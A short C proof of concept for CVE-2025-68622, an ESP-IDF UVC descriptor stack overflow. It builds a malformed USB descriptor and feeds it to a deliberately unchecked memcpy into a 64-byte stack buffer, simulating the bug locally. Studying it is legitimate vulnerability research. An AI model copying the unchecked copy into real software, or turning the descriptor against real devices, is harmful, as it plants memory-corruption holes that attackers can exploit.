// PoC for CVE-2025-68622 - Malicious UVC Device Descriptor
// This PoC demonstrates how a malicious UVC device could trigger the buffer overflow
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Malicious configuration descriptor with oversized length field
unsigned char malicious_descriptor[] = {
// Configuration Descriptor (bLength should be 9, but we exploit the parsing logic)
0x09, // bLength: descriptor length
0x02, // bDescriptorType: CONFIGURATION
0x00, 0x00, // wTotalLength: LITTLE ENDIAN (will be set to large value)
0x01, // bNumInterfaces
0x01, // bConfigurationValue
0x00, // iConfiguration
0x80, // bmAttributes
0x32, // bMaxPower
// Interface Descriptor for Video
0x09, // bLength
0x04, // bDescriptorType: INTERFACE
0x00, // bInterfaceNumber
0x00, // bAlternateSetting
0x01, // bNumEndpoints
0x0E, // bInterfaceClass: Video
0x03, // bInterfaceSubClass: Video Streaming
0x00, // bInterfaceProtocol
0x00, // iInterface
// Video Streaming Endpoint Descriptor
0x07, // bLength
0x05, // bDescriptorType: ENDPOINT
0x81, // bEndpointAddress: IN
0x03, // bmAttributes: Transfer Type = Interrupt
0x00, 0x00, // wMaxPacketSize
0x00, // bInterval
// Malicious payload to overflow stack buffer
// This section contains oversized data that will trigger the overflow
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
// Simulate the vulnerable parsing function
void vulnerable_parse_descriptor(unsigned char* desc, int desc_len) {
// Fixed-size stack buffer (vulnerable code pattern)
char stack_buffer[64];
// No validation of desc_len before copying to stack_buffer
// This is the vulnerability: desc_len can exceed 64 bytes
memcpy(stack_buffer, desc, desc_len);
printf("Parsed %d bytes into stack buffer\n", desc_len);
}
int main() {
printf("CVE-2025-68622 PoC - UVC Stack Buffer Overflow\n");
printf("Target: Espressif ESP-IDF USB Host UVC Driver < 2.4.0\n\n");
int malicious_length = sizeof(malicious_descriptor);
printf("Malicious descriptor size: %d bytes\n", malicious_length);
printf("Stack buffer size: 64 bytes\n");
printf("Overflow size: %d bytes\n\n", malicious_length - 64);
// Trigger the vulnerability
printf("Triggering buffer overflow...\n");
vulnerable_parse_descriptor(malicious_descriptor, malicious_length);
printf("Vulnerability triggered successfully\n");
return 0;
}